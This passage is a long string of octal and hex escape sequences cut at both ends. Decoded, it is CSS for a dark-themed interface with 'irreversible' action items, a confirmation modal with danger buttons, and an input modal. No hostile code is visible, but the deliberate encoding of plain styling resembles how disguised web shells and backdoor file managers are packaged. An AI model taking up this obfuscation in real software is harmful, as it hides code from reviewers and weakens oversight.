9\142\157\x72\x64\145\x72\55\x6c\145\x66\164\72\x20\x33\x70\x78\40\163\157\x6c\x69\x64\40\166\141\162\x28\x2d\55\141\143\143\x65\156\164\55\x72\145\x64\51\73\12\x9\x9\x9\164\x72\x61\156\x73\x69\164\x69\157\156\x3a\40\141\154\x6c\40\60\x2e\x33\x73\73\xa\11\11\175\xa\11\x9\12\11\11\x2e\151\x72\x72\x65\166\145\x72\163\151\142\154\x65\x2d\x64\x65\164\x61\x69\x6c\55\x69\164\x65\155\72\150\157\x76\x65\162\40\x7b\12\x9\11\11\142\x61\143\x6b\147\x72\157\165\156\144\x3a\x20\162\147\x62\141\x28\62\x32\x30\x2c\40\x35\63\54\40\66\x39\54\40\60\56\x31\x29\73\xa\11\x9\11\x74\162\x61\156\163\x66\x6f\x72\155\x3a\40\x74\162\141\x6e\x73\x6c\x61\x74\x65\x58\x28\65\160\x78\51\73\xa\11\x9\x9\x62\x6f\x72\x64\x65\x72\x2d\x6c\145\x66\164\x2d\167\x69\x64\164\x68\72\40\x36\x70\x78\x3b\xa\11\x9\x7d\12\x9\11\12\x9\11\56\x64\145\164\x61\151\154\55\151\143\157\156\40\173\12\11\x9\11\146\157\x6e\164\x2d\x73\x69\x7a\145\72\40\61\56\62\x72\x65\155\x3b\xa\11\11\11\x66\151\x6c\x74\145\162\72\x20\144\162\157\160\x2d\163\x68\141\144\157\167\x28\x30\40\60\x20\64\x70\170\40\162\x67\x62\141\x28\62\x32\x30\x2c\x20\x35\63\54\x20\66\71\x2c\x20\x30\x2e\66\x29\x29\73\xa\11\11\175\xa\11\11\xa\x9\11\x2e\144\145\164\141\x69\x6c\x2d\x74\x65\170\164\x20\x7b\xa\x9\x9\x9\x63\x6f\x6c\x6f\x72\x3a\x20\166\141\162\x28\55\55\164\x65\x78\164\55\x6c\x69\147\x68\164\x29\73\12\x9\x9\x9\146\157\156\x74\x2d\163\151\172\x65\72\40\x30\56\70\65\x72\145\x6d\x3b\12\11\11\11\146\157\156\x74\x2d\167\x65\x69\x67\150\x74\72\x20\65\60\60\73\xa\x9\x9\11\146\154\x65\170\72\40\x31\x3b\12\11\11\175\12\11\11\xa\x9\11\x2e\x69\x72\x72\x65\166\145\x72\163\151\x62\x6c\145\x2d\x6d\157\144\141\154\55\x61\143\x74\x69\x6f\x6e\163\40\173\xa\x9\11\x9\144\151\x73\160\154\x61\x79\72\x20\x66\x6c\145\170\x3b\xa\11\x9\11\147\141\160\72\x20\61\x72\145\x6d\73\12\11\x9\11\152\165\163\164\151\146\x79\55\x63\x6f\x6e\164\145\x6e\x74\72\40\143\145\x6e\164\145\162\x3b\xa\x9\x9\11\x6d\x61\162\x67\151\156\55\164\x6f\160\x3a\40\61\x2e\65\x72\x65\x6d\73\xa\x9\x9\11\160\x6f\163\x69\164\x69\x6f\x6e\72\x20\162\145\154\x61\164\151\x76\x65\x3b\12\x9\x9\x9\172\x2d\x69\156\x64\x65\170\x3a\x20\61\x3b\12\x9\x9\x7d\12\11\11\xa\x9\11\x2e\151\162\162\x65\166\145\162\163\151\142\154\145\55\142\164\156\x2d\x63\x61\156\x63\x65\154\x2c\xa\x9\11\x2e\x69\162\162\x65\x76\145\162\x73\151\142\154\x65\55\142\164\x6e\55\x63\x6f\x6e\x66\x69\162\x6d\40\173\xa\x9\11\11\x70\x61\x64\144\x69\156\147\72\x20\60\56\x37\65\162\145\x6d\x20\x31\56\x35\162\x65\x6d\x3b\12\x9\x9\x9\x62\157\162\144\x65\x72\72\x20\x6e\157\156\145\x3b\12\11\11\x9\142\x6f\x72\144\145\x72\x2d\162\141\144\151\165\163\x3a\40\66\160\x78\73\12\11\x9\11\x66\157\156\x74\55\163\x69\x7a\145\x3a\40\x30\56\71\x72\145\x6d\x3b\12\x9\x9\11\146\x6f\x6e\164\x2d\x77\145\x69\147\150\164\72\40\x37\60\60\73\xa\x9\11\11\x63\x75\x72\163\x6f\x72\72\x20\160\x6f\151\x6e\164\145\162\73\xa\x9\x9\x9\x74\162\x61\x6e\x73\151\164\151\x6f\x6e\x3a\x20\x61\154\x6c\x20\x30\x2e\x33\163\x20\x63\165\x62\x69\x63\x2d\x62\x65\172\151\145\162\x28\60\x2e\64\54\40\60\x2c\40\60\x2e\62\54\x20\x31\x29\x3b\xa\x9\11\x9\x66\157\x6e\x74\55\146\x61\155\x69\x6c\x79\x3a\40\x76\141\x72\x28\55\55\x66\x6f\156\x74\x2d\146\141\155\151\x6c\171\51\73\xa\11\x9\11\x74\x65\x78\x74\x2d\x74\x72\141\x6e\163\146\157\162\155\72\x20\165\x70\160\145\162\143\x61\163\x65\73\12\11\x9\11\154\x65\164\x74\145\x72\55\163\160\141\143\x69\156\147\72\x20\x30\x2e\65\x70\x78\x3b\12\x9\x9\x9\160\x6f\163\x69\164\x69\157\x6e\72\x20\x72\145\x6c\141\x74\151\x76\x65\x3b\12\x9\11\x9\157\166\145\x72\146\x6c\157\x77\x3a\x20\150\x69\144\x64\145\x6e\x3b\xa\11\x9\x7d\xa\x9\x9\xa\11\x9\x2f\x2a\40\103\157\x6e\x66\x69\162\155\x61\164\x69\157\x6e\x20\x4d\157\x64\141\x6c\x20\123\x74\x79\154\151\x6e\x67\x20\52\57\12\11\x9\56\x63\157\156\x66\151\x72\155\55\x6d\x6f\x64\141\x6c\55\143\157\156\164\x65\156\x74\x20\173\xa\11\x9\11\167\151\x64\164\150\72\40\71\60\45\x3b\12\x9\11\x9\x6d\141\x78\55\167\151\144\164\x68\72\x20\65\x30\x30\160\170\x3b\12\11\11\x9\160\141\144\144\151\x6e\x67\x3a\x20\60\73\12\11\11\11\x62\157\x72\144\145\x72\x3a\40\62\x70\170\40\163\157\154\x69\x64\x20\x76\141\162\x28\55\x2d\141\x63\x63\x65\156\164\55\x62\154\x75\145\x29\73\xa\x9\11\x9\x62\141\x63\x6b\147\162\x6f\165\156\x64\x3a\x20\154\151\156\x65\x61\162\x2d\147\162\141\144\151\x65\156\x74\x28\x31\63\x35\144\x65\147\54\x20\x76\141\x72\x28\x2d\x2d\x62\147\55\x6d\145\144\51\40\x30\x25\x2c\x20\x76\x61\x72\x28\x2d\x2d\x62\x67\x2d\154\x69\x67\x68\164\51\x20\x31\60\x30\x25\x29\73\12\11\11\x9\x62\x6f\x78\55\x73\150\141\x64\157\167\72\40\60\x20\61\65\160\x78\x20\64\60\160\x78\40\x72\147\x62\141\x28\x30\x2c\x20\x30\x2c\x20\x30\54\x20\x30\x2e\65\51\x3b\12\11\11\x9\x6f\166\x65\x72\x66\154\x6f\x77\72\40\x68\151\x64\144\x65\156\73\xa\11\11\x9\x61\x6e\x69\x6d\141\x74\151\x6f\156\72\x20\x6d\x6f\x64\141\154\123\x6c\x69\x64\x65\x49\x6e\x20\x30\56\x33\x73\40\x63\165\x62\151\143\x2d\x62\145\172\x69\x65\x72\50\x30\56\x34\x2c\x20\60\54\x20\60\x2e\x32\54\x20\61\51\73\xa\11\11\x7d\xa\11\11\xa\11\11\56\x63\x6f\156\x66\x69\162\155\55\x6d\157\x64\x61\154\x2d\x68\145\x61\x64\145\162\40\x7b\12\11\x9\x9\x62\141\143\x6b\x67\162\157\165\x6e\144\x3a\40\x6c\x69\x6e\x65\x61\162\55\147\162\x61\x64\x69\x65\x6e\164\50\x31\x33\65\x64\145\x67\54\x20\x76\141\x72\x28\55\x2d\141\x63\x63\145\x6e\x74\x2d\x62\x6c\165\145\51\x20\x30\45\x2c\40\43\71\x64\x63\x31\x66\x66\x20\x31\x30\x30\45\x29\x3b\xa\x9\11\11\160\x61\x64\x64\x69\x6e\x67\x3a\x20\x31\x2e\x35\162\x65\x6d\73\xa\11\x9\11\x74\x65\x78\164\x2d\141\154\x69\147\156\x3a\40\143\145\x6e\164\x65\162\73\12\x9\11\11\142\157\x72\144\x65\162\x2d\142\x6f\x74\x74\x6f\x6d\x3a\x20\x32\x70\170\40\x73\x6f\x6c\151\144\x20\166\x61\x72\x28\x2d\x2d\x61\x63\143\x65\x6e\x74\x2d\x62\x6c\x75\x65\x29\73\12\11\11\175\12\11\x9\xa\11\11\56\x63\157\x6e\x66\151\x72\x6d\55\x6d\x6f\144\x61\x6c\x2d\150\x65\141\x64\145\162\40\x68\x33\40\x7b\xa\11\11\11\155\x61\x72\x67\151\156\72\x20\60\x3b\xa\x9\x9\x9\x66\157\156\164\55\x73\151\172\x65\72\40\x31\56\63\162\x65\155\73\xa\11\x9\x9\143\x6f\154\157\x72\x3a\40\166\x61\x72\50\x2d\x2d\142\147\x2d\144\x61\162\153\x29\73\12\11\11\11\x66\157\156\x74\x2d\167\x65\151\x67\x68\164\x3a\40\x37\60\60\73\12\11\11\11\x64\x69\163\x70\x6c\141\x79\72\x20\x66\x6c\145\x78\73\12\11\11\11\x61\x6c\x69\x67\156\x2d\151\164\145\155\163\72\40\143\x65\x6e\164\145\x72\x3b\xa\11\11\x9\x6a\165\163\164\x69\x66\171\55\143\157\156\x74\x65\x6e\x74\x3a\40\143\x65\x6e\164\145\162\73\xa\11\11\x9\147\x61\x70\x3a\40\x30\56\x35\x72\x65\x6d\x3b\12\11\x9\175\xa\11\x9\xa\11\11\x2e\x63\157\x6e\x66\151\162\155\55\x6d\157\144\x61\154\x2d\150\x65\141\144\145\x72\x20\x2e\143\x6c\x6f\x73\x65\x20\173\xa\x9\x9\11\x63\x6f\154\157\162\72\x20\166\141\x72\x28\x2d\x2d\142\147\x2d\144\x61\162\153\51\x3b\12\11\x9\11\146\157\156\164\55\x73\x69\x7a\x65\x3a\40\x31\x2e\x38\162\145\155\x3b\xa\11\x9\x9\157\x70\141\x63\x69\164\171\72\x20\x30\x2e\x38\x3b\12\x9\x9\11\164\x72\x61\x6e\x73\x69\x74\x69\157\x6e\x3a\x20\141\154\x6c\x20\x30\56\x33\163\x20\145\141\163\x65\x3b\xa\x9\11\x7d\xa\x9\x9\xa\11\x9\x2e\x63\x6f\x6e\x66\151\162\155\55\155\x6f\x64\141\x6c\x2d\150\145\x61\144\x65\162\x20\56\143\154\x6f\163\145\72\x68\x6f\x76\x65\162\x20\173\12\x9\x9\11\157\x70\141\x63\x69\x74\x79\x3a\x20\61\x3b\xa\11\x9\11\143\x6f\154\x6f\162\72\x20\166\x61\x72\x28\x2d\x2d\141\143\143\x65\156\164\x2d\162\x65\144\x29\x3b\xa\11\x9\x9\164\x72\141\156\x73\x66\157\162\155\72\x20\x72\157\164\x61\x74\x65\50\71\60\x64\x65\x67\51\x3b\12\11\x9\x7d\xa\11\x9\12\11\11\x2e\x63\x6f\x6e\146\x69\x72\155\55\155\x6f\x64\x61\x6c\55\142\x6f\144\x79\40\173\12\x9\11\11\x70\x61\x64\144\151\x6e\147\x3a\x20\x32\x72\145\155\x3b\12\11\11\11\164\145\170\x74\x2d\x61\x6c\x69\x67\x6e\x3a\x20\143\x65\156\x74\x65\162\73\xa\11\x9\175\12\x9\x9\xa\11\x9\56\143\157\x6e\x66\151\x72\x6d\55\151\x63\157\x6e\40\x7b\12\11\11\11\x66\157\156\164\x2d\163\151\x7a\x65\72\x20\64\162\x65\155\x3b\12\x9\11\x9\155\141\162\147\x69\x6e\55\142\x6f\164\x74\157\x6d\x3a\40\61\x72\145\x6d\73\xa\x9\11\11\141\x6e\151\x6d\141\164\151\157\156\x3a\40\160\165\x6c\163\x65\x20\62\x73\40\145\x61\163\x65\x2d\151\156\x2d\x6f\x75\164\40\x69\x6e\x66\x69\156\151\x74\145\73\12\x9\11\175\xa\x9\x9\xa\x9\x9\x40\x6b\145\171\146\x72\141\x6d\145\x73\x20\x70\165\x6c\163\x65\x20\173\12\x9\x9\11\x30\45\54\x20\61\60\x30\45\40\x7b\40\164\x72\141\x6e\x73\x66\157\162\155\x3a\x20\x73\143\x61\154\x65\x28\61\x29\73\40\x7d\12\11\x9\11\65\x30\x25\x20\x7b\40\164\162\x61\x6e\163\146\157\x72\x6d\72\x20\163\x63\x61\x6c\x65\50\61\56\61\x29\x3b\x20\x7d\12\x9\x9\175\xa\x9\11\12\11\x9\x2e\143\157\156\146\x69\x72\155\x2d\155\145\x73\x73\141\x67\145\40\x7b\xa\11\11\x9\143\x6f\x6c\157\162\72\40\x76\141\x72\50\x2d\x2d\x74\145\170\164\55\154\151\147\150\164\x29\x3b\12\11\x9\11\146\x6f\x6e\164\55\163\151\x7a\145\x3a\40\x31\x2e\x31\162\145\155\73\12\11\11\11\x6c\151\156\x65\x2d\150\x65\x69\x67\x68\x74\72\x20\61\x2e\x36\73\xa\x9\11\11\x6d\141\x72\147\x69\x6e\x3a\x20\60\x20\60\40\x31\x2e\x35\162\x65\x6d\40\60\x3b\xa\x9\x9\x9\167\157\162\x64\55\x77\x72\x61\x70\72\x20\142\x72\145\x61\x6b\55\x77\157\162\x64\x3b\12\x9\11\175\xa\11\x9\12\x9\x9\56\x63\157\x6e\146\x69\162\155\55\155\145\163\163\141\x67\145\40\163\x74\x72\157\156\147\40\x7b\12\11\x9\11\143\157\x6c\x6f\162\72\40\166\141\x72\x28\55\x2d\x61\143\x63\145\156\164\55\147\157\154\144\x29\x3b\12\11\11\11\x66\x6f\x6e\x74\x2d\x77\x65\x69\147\x68\x74\x3a\40\x36\x30\60\73\xa\11\11\x7d\xa\x9\11\12\x9\x9\x2e\x63\x6f\156\x66\x69\162\x6d\x2d\155\x6f\144\141\x6c\x2d\x61\x63\x74\151\x6f\x6e\x73\40\x7b\12\11\11\11\144\151\163\x70\x6c\141\x79\x3a\x20\x66\154\x65\170\73\xa\x9\11\x9\147\x61\160\x3a\40\61\x72\x65\155\73\12\11\x9\11\x6a\165\x73\164\151\146\x79\55\143\x6f\156\x74\x65\156\x74\72\x20\143\x65\156\x74\145\x72\73\xa\x9\x9\x9\155\141\162\x67\151\x6e\x2d\x74\x6f\160\72\x20\61\x2e\x35\162\x65\155\x3b\xa\x9\11\x7d\12\x9\11\12\x9\11\x2e\143\x6f\156\x66\151\x72\x6d\x2d\x62\x74\156\55\143\141\156\143\x65\154\x2c\12\x9\11\56\143\x6f\x6e\146\x69\x72\155\x2d\x62\164\156\55\157\x6b\40\x7b\xa\x9\11\11\x70\141\x64\x64\151\x6e\x67\x3a\x20\x30\x2e\70\x35\x72\x65\155\40\62\162\145\155\x3b\xa\11\11\x9\x62\157\x72\x64\145\162\72\40\x6e\x6f\x6e\x65\x3b\12\x9\x9\x9\x62\x6f\162\144\x65\x72\x2d\162\x61\144\151\x75\163\x3a\x20\x38\160\170\73\xa\x9\x9\11\x66\x6f\x6e\164\x2d\x73\x69\x7a\145\72\x20\61\162\x65\155\x3b\12\11\11\11\146\x6f\x6e\x74\x2d\167\145\x69\147\150\x74\x3a\x20\66\x30\60\73\xa\x9\x9\x9\x63\165\x72\x73\157\x72\x3a\x20\160\x6f\151\156\x74\145\x72\x3b\xa\11\x9\x9\164\x72\141\156\x73\x69\x74\151\x6f\156\x3a\x20\141\154\154\x20\60\x2e\x33\x73\x20\143\x75\142\x69\x63\55\142\x65\x7a\151\145\162\x28\60\x2e\64\54\x20\x30\54\x20\60\x2e\x32\x2c\40\61\x29\x3b\xa\11\11\11\146\x6f\x6e\x74\x2d\146\141\155\151\154\x79\72\x20\x76\x61\162\50\x2d\55\146\157\156\164\55\146\x61\155\x69\x6c\171\51\x3b\xa\11\11\x9\x6d\x69\156\55\167\x69\x64\x74\150\72\x20\x31\x32\60\160\x78\73\xa\11\11\11\x70\157\163\x69\164\151\157\156\72\40\x72\x65\154\141\164\151\x76\x65\x3b\12\x9\x9\x9\x6f\166\145\162\x66\154\157\167\72\40\150\x69\x64\144\145\156\73\xa\11\11\x7d\xa\x9\x9\12\11\11\x2e\x63\157\x6e\x66\151\x72\x6d\x2d\x62\x74\156\x2d\143\x61\x6e\143\x65\154\x20\173\12\11\x9\11\x62\x61\143\x6b\x67\x72\x6f\x75\x6e\144\72\40\x6c\151\x6e\x65\x61\162\x2d\x67\162\141\x64\x69\145\156\164\x28\x31\63\65\x64\x65\x67\x2c\40\166\x61\162\50\55\55\x62\x67\55\154\x69\147\150\x74\51\40\x30\45\x2c\x20\x76\x61\x72\x28\x2d\x2d\142\x67\x2d\x6d\x65\x64\x29\40\61\x30\60\45\x29\x3b\12\x9\11\x9\x63\x6f\154\x6f\x72\72\x20\x76\x61\162\x28\x2d\55\x74\x65\170\x74\55\x6c\151\x67\x68\x74\x29\x3b\xa\x9\11\11\x62\157\x72\144\145\162\72\40\62\160\x78\x20\163\x6f\x6c\151\x64\40\166\141\162\x28\x2d\x2d\x62\157\x72\144\145\x72\x2d\143\157\154\x6f\162\51\73\xa\x9\x9\x9\x62\157\x78\55\163\x68\x61\144\157\x77\72\x20\60\x20\x34\160\x78\40\61\x35\x70\x78\40\x72\147\x62\x61\x28\x30\54\40\60\x2c\40\60\54\40\x30\x2e\x32\x29\73\12\11\11\x7d\12\x9\11\12\x9\x9\56\143\x6f\x6e\x66\151\162\x6d\x2d\x62\164\156\x2d\143\141\x6e\143\145\154\72\x68\x6f\x76\145\162\40\x7b\xa\11\x9\11\x62\x61\143\153\x67\162\157\x75\x6e\x64\72\40\166\x61\162\x28\x2d\x2d\142\x67\55\144\141\x72\x6b\51\x3b\12\x9\11\11\x62\157\x72\144\x65\162\55\x63\157\x6c\157\x72\x3a\40\x76\141\162\50\55\x2d\x74\145\170\x74\55\155\145\x64\x29\x3b\12\11\x9\x9\164\x72\141\156\163\x66\157\x72\x6d\x3a\x20\x74\x72\141\x6e\x73\154\141\x74\145\x59\50\x2d\62\x70\170\51\73\xa\11\x9\11\x62\x6f\x78\55\163\150\x61\x64\x6f\x77\x3a\40\x30\40\x36\160\x78\x20\x32\60\x70\170\40\x72\x67\142\141\50\60\54\40\60\x2c\40\x30\54\40\60\x2e\x33\51\73\xa\11\x9\x7d\xa\x9\x9\xa\x9\11\56\x63\x6f\x6e\146\x69\162\x6d\x2d\x62\164\x6e\55\143\141\x6e\143\x65\154\x3a\141\143\x74\x69\166\145\40\173\xa\x9\x9\11\164\x72\x61\156\x73\x66\x6f\x72\x6d\72\40\164\162\141\x6e\x73\154\141\x74\145\x59\50\60\x29\73\12\11\x9\x7d\12\11\11\xa\11\11\x2e\x63\157\x6e\146\x69\162\x6d\55\x62\x74\x6e\55\157\153\x20\173\12\11\11\x9\x62\141\x63\153\147\x72\157\165\156\144\72\40\154\x69\156\x65\141\162\x2d\x67\162\141\144\151\x65\x6e\x74\50\61\x33\65\x64\145\147\54\40\x76\x61\x72\50\55\55\141\x63\143\145\156\164\x2d\x62\x6c\x75\145\51\x20\x30\x25\54\x20\43\71\x64\143\61\x66\146\x20\61\x30\60\45\x29\x3b\xa\11\11\x9\143\157\x6c\157\162\72\40\x76\141\x72\x28\x2d\55\x62\x67\x2d\144\141\x72\153\x29\x3b\12\11\x9\11\x62\x6f\x78\x2d\x73\150\x61\144\x6f\167\72\40\60\x20\x34\160\170\40\x31\65\160\x78\x20\162\147\x62\141\x28\61\63\60\54\x20\61\67\x30\x2c\40\62\65\65\54\x20\60\56\x34\51\x3b\xa\11\11\x7d\12\11\11\xa\11\11\56\143\x6f\156\x66\151\162\155\55\142\164\156\x2d\x6f\153\x3a\x68\157\166\x65\x72\x20\173\xa\11\11\11\x74\x72\141\x6e\163\146\x6f\162\155\x3a\40\164\x72\141\156\163\x6c\x61\164\x65\x59\50\55\x32\x70\x78\x29\73\12\11\x9\x9\x62\x6f\x78\x2d\163\150\x61\x64\157\x77\x3a\x20\60\x20\66\x70\170\x20\x32\x30\160\x78\40\x72\x67\x62\141\50\61\x33\x30\x2c\x20\x31\67\60\x2c\40\62\x35\x35\54\x20\x30\56\66\x29\73\12\x9\x9\175\12\x9\x9\12\x9\x9\x2e\143\x6f\x6e\x66\x69\162\x6d\x2d\142\x74\x6e\55\x6f\x6b\x3a\x61\x63\x74\x69\x76\x65\x20\x7b\xa\11\x9\x9\x74\162\141\x6e\x73\146\157\162\x6d\72\40\164\162\x61\x6e\163\x6c\141\164\145\x59\50\x30\x29\73\12\x9\x9\175\xa\x9\11\xa\11\11\56\x63\x6f\x6e\x66\151\x72\x6d\55\142\164\156\55\144\x61\156\x67\145\x72\x20\173\12\x9\11\11\142\141\143\153\x67\x72\x6f\x75\156\x64\72\40\154\x69\156\145\x61\162\x2d\147\162\x61\144\x69\x65\x6e\164\x28\x31\x33\x35\144\x65\x67\x2c\x20\x76\x61\162\50\55\x2d\x61\x63\143\x65\x6e\164\x2d\x72\145\x64\51\40\60\45\54\x20\x23\x66\x66\x36\142\x36\x62\x20\61\60\x30\x25\51\x3b\12\11\x9\x9\x63\x6f\154\x6f\x72\72\40\167\x68\151\x74\145\73\12\x9\11\11\x62\157\x78\x2d\163\x68\x61\144\x6f\167\72\40\60\x20\64\x70\170\x20\61\65\x70\170\40\162\x67\142\141\x28\x32\x35\x35\x2c\40\67\x37\54\40\67\x37\54\x20\60\56\64\51\73\xa\11\11\175\12\x9\x9\12\11\11\x2e\143\157\156\146\x69\162\x6d\55\x62\x74\x6e\x2d\x64\x61\x6e\147\145\162\x3a\x68\x6f\x76\145\x72\40\173\xa\11\x9\x9\164\162\x61\x6e\x73\146\x6f\162\155\x3a\x20\164\x72\x61\156\x73\x6c\x61\x74\145\131\50\55\62\x70\170\51\x3b\12\x9\11\11\142\x6f\x78\55\x73\150\x61\144\x6f\x77\72\x20\60\x20\x36\x70\x78\x20\62\x30\x70\x78\x20\x72\x67\142\141\x28\62\x35\x35\x2c\40\67\67\54\40\x37\x37\54\40\60\x2e\66\x29\x3b\12\x9\11\175\12\11\x9\12\11\11\x2f\x2a\x20\x49\156\x70\165\x74\x20\x4d\x6f\144\141\154\40\x53\x74\x79\x6c\151\x6e\147\40\x2a\x2f\12\11\x9\56\x69\x6e\x70\x75\164\55\x6d\x6f\144\x61\x6c\x2d\x63\157\x6e\x74\145\156\164\x20\173\12\11\11\11\167\151\x64\x74\x68\x3a\40\71\x30\x25\x3b\xa\x9\x9\x9\155\141\170\x2d\167\x69\x64\x74\x68\72\40\65\60\60\160\170\x3b\12\x9\x9\x9\x70\141\144\144\x69\156\147\x3a\x20\60\73\12\x9\11\x9\142\157\x72\144\x65\162\72\40\62\160\x78\40\163\157\x6c\151\x64\40\166\141\162\50\x2d\x2d\141\x63\143\x65\x6e\164\x2d\x62\154\x75\145\51\x3b\12\11\x9\11\x62\141\143\x6b\147\x72\x6f\x75\156\144\72\40\x6c\151\156\145\141\162\x2d\x67\x72\x61\144\151\145\x6e\164\x28\x31\x33\x35\144\x65\147\x2c\40\166\x61\x72\50\x2d\x2d\x62\147\55\x6d\x65\x64\51\x20\x30\x25\x2c\x20\166\x61\162\x28\55\x2d\x62\147\55\x6c\x69\147\x68\x74\x29\40\x31\x30\x30\x25\x29\73\xa\11\11\x9\142\x6f\170\55\x73\x68\141\x64\x6f\167\x3a\x20\60\40\61\x35\x70\170\x20\x34\x30\160\x78\40\x72\147\x62\x61\x28\x30\54\40\x30\x2c\40\60\x2c\40\x30\56\x35\x29\x3b\12\x9\x9\x9\157\166\145\x72\146\154\x6f\167\72\40\150\x69\144\x64\x65\x6e\x3b\xa\x9\11\x9\141\x6e\x69\155\x61\x74\151\157\x6e\x3a\x20\155\x6f\144\x61\154\123\x6c\151\x64\145\111\156\40\60\56\x33\163\40\143\165\x62\x69\143\x2d\142\145\x7a\x69\145\x72\50\x30\56\64\x2c\x20\60\x2c\40\x30\56\x32\54\x20\61\x29\x3b\12\11\x9\x7d\xa\11\x9\12\x9\x9\x40\153\x65\x79\146\x72\x61\x6d\x65\x73\40\x6d\x6f\144\141\154\123\154\151\144\145\x49\x6e\x20\173\xa\11\x9\x9\146\162\x6f\155\40\x7b\xa\11\x9\11\x9\x6f\x70\141\143\151\164\171\72\x20\x30\x3b\xa\11\11\x9\x9\x74\x72\x61\156\x73\146\157\162\155\72\x20\x74\x72\x61\x6e\x73\x6c\141\164\145\131\x28\55\x33\x30\160\x78\x29\x20\x73\143\141\154\145\50\60\x2e\x39\65\x29\x3b\12\11\11\x9\x7d\12\11\11\x9\164\157\x20\x7b\12\x9\x9\11\11\x6f\160\x61\x63\151\x74\171\x3a\x20\x31\x3b\xa\x9\x9\x9\x9\164\162\x61\156\163\146\157\162\155\x3a\40\164\x72\x61\156\x73\154\141\164\x65\131\x28\x30\x29\40\163\143\141\x6c\x65\50\x31\x29\73\xa\x9\x9\11\x7d\xa\x9\11\175\12\11\x9\12\11\11\x2e\151\x6e\160\x75\x74\55\x6d\x6f\144\x61\x6c\55\150\x65\141\144\145\162\x20\x7b\12\x9\x9\x9\x62\x61\143\153\147\x72\x6f\x75\x6e\x64\x3a\40\x6c\151\x6e\145\x61\162\55\x67\x72\141\144\x69\x65\156\x74\50\61\63\65\144\x65\147\54\40\x76\x61\x72\50\x2d\55\x61\x63\143\x65\156\164\x2d\x62\x6c\165\145\x29\40\60\x25\x2c\40\43\x39\144\143\x31\x66\146\x20\61\60\60\45\51\x3b\12\x9\11\x9\x70\x61\144\x64\x69\x6e\x67\72\40\61\56\65\x72\x65\155\73\12\11\x9\11\164\145\170\164\x2d\141\x6c\151\x67\x6e\72\x20\x63\x65\x6e\164\145\x72\x3b\xa\x9\x9\x9\142\157\x72\x64\x65\x72\x2d\142\157\x74\x74\x6f\x6d\72\x20\62\160\x78\40\163\157\x6c\x69\144\x20\x76\x61\162\x28\x2d\x2d\141\x63\143\145\156\164\x2d\x62\154\x75\x65\51\x3b\12\x9\11\x7d\xa\x9\11\xa\11\11\x2e\151\x6e\x70\x75\x74\x2d\x6d\x6f\x64\x61\154\55\x68\145\x61\144\x65\x72\40\x68\63\40\x7b\xa\x9\11\x9\x6d\141\162\x67\x69\156\72\40\x30\x3b\12\11\11\11\146\157\x6e\x74\55\x73\151\172\145\x3a\40\x31\x2e\x33\162\x65\155\x3b\xa\x9\11\11\143\157\x6c\x6f\x72\x3a\x20\166\141\x72\x28\x2d\x2d\x62\x67\55\144\141\x72\153\51\73\12\11\11\x9\x66\x6f\x6e\x74\55\167\x65\x69\147\150\164\x3a\40\67\60\x30\x3b\12\11\x9\11\144\151\163\x70\x6c\141\171\72\x20\x66\154\145\170\x3b\xa\x9\11\11\141\x6c\x69\x67\156\55\151\164\145\x6d\163\72\x20\143\145\x6e\x74\x65\x72\73\xa\11\x9\x9\x6a\x75\163\x74\x69\146\171\x2d\x63\157\x6e\164\x65\156\x74\72\x20\x63\x65\156\x74\145\162\73\xa\11\11\11\x67\141\160\x3a\40\60\x2e\65\162\x65\155\73\12\11\x9\175\12\x9\x9\xa\11\x9\x2e\151\x6e\160\x75\164\x2d\x6d\157\x64\x61\154\55\150\x65\x61\x64\x65\162\x20\56\143\154\157\x73\145\x20\x7b\12\x9\11\x9\x63\x6f\154\x6f\162\72\40\x76\141\x72\50\55\55\x62\x67\55\144\141\162\153\x29\x3b\xa\x9\11\x9\x66\x6f\156\x74\55\163\151\x7a\145\72\x20\x31\x2e\70\162\x65\155\x3b\12\11\x9\x9\157\x70\141\x63\151\x74\x79\x3a\40\60\x2e\70\73\12\x9\11\11\164\162\x61\156\x73\x69\164\151\x6f\x6e\72\40\x61\x6c\154\x20\60\x2e\x33\x73\x20\145\x61\163\x65\73\xa\11\11\x7d\12\11\x9\xa\x9\11\56\x69\156\x70\165\x74\55\x6d\157\x64\x61\x6c\55\150\145\141\144\x65\x72\40\56\143\154\157\x73\x65\x3a\x68\157\x76\145\x72\40\x7b\12\x9\x9\11\x6f\160\x61\143\x69\x74\x79\72\40\x31\73\xa\x9\11\11\143\157\x6c\157\162\72\40\166\141\162\50\55\x2d\141\143\x63\145\x6e\164\55\162\145\144\x29\73\12\x9\11\x9\164\162\x61\x6e\163\x66\157\162\155\72\40\x72\157\x74\x61\x74\145\x28\71\x30\x64\x65\x67\51\x3b\xa\11\11\175\xa\x9\11\12\x9\x9\56\x69\156\x70\x75\x74\x2d\x6d\x6f\144\141\154\x2d\x62\157\x64\171\x20\173\xa\11\11\11\x70\141\144\x64\151\156\x67\x3a\x20\x32\x72\145\155\x3b\xa\x9\11\11\164\145\170\x74\x2d\141\154\151\147\x6e\72\x20\143\x65\x6e\164\x65\x72\73\12\x9\11\175\12\x9\11\12\11\11\56\x69\x6e\x70\165\164\55\151\x63\157\x6e\x20\173\xa\x9\x9\11\146\157\156\164\55\x73\x69\x7a\x65\x3a\40\64\x72\x65\x6d\x3b\12\x9\11\x9\155\x61\x72\x67\151\156\55\142\157\x74\164\157\x6d\x3a\x20\61\162\x65\x6d\x3b\12\11\11\11\141\156\151\155\x61\164\151\157\156\x3a\40\160\x75\154\163\145\x20\62\163\40\x65\141\x73\145\55\151\x6e\55\157\165\164\40\x69\x6e\x66\x69\156\151\164\x65\73\12\11\x9\x7d\xa\x9\x9\xa\x9\11\56\x69\156\160\x75\x74\x2d\154\x61\x62\x65\154\40\x7b\12\x9\11\11\x63\x6f\154\x6f\x72\72\x20\166\141\x72\50\x2d\x2d\164\145\x78\x74\55\x6c\151\147\x68\x74\51\x3b\xa\11\11\x9\146\x6f\x6e\x74\55\x73\151\172\145\x3a\40\x31\x72\x65\x6d\73\xa\x9\11\x9\x6d\141\162\147\x69\156\55\142\x6f\x74\164\x6f\x6d\72\40\61\x72\145\x6d\73\12\x9\x9\x9\146\x6f\x6e\x74\x2d\167\x65\x69\147\150\x74\72\x20\x35\60\60\x3b\xa\11\11\x7d\xa\x9\x9\12\x9\11\x2e\151\156\160\165\164\55\146\151\x65\154\x64\40\173\xa\11\11\11\167\151\144\164\150\x3a\x20\x31\60\x30\45\73\12\x9\x9\11\160\x61\x64\x64\x69\x6e\147\x3a\x20\x31\162\145\x6d\x3b\xa\11\11\x9\x62\157\x72\144\x65\x72\72\x20\62\160\x78\x20\163\157\154\151\144\x20\x76\141\x72\x28\x2d\x2d\x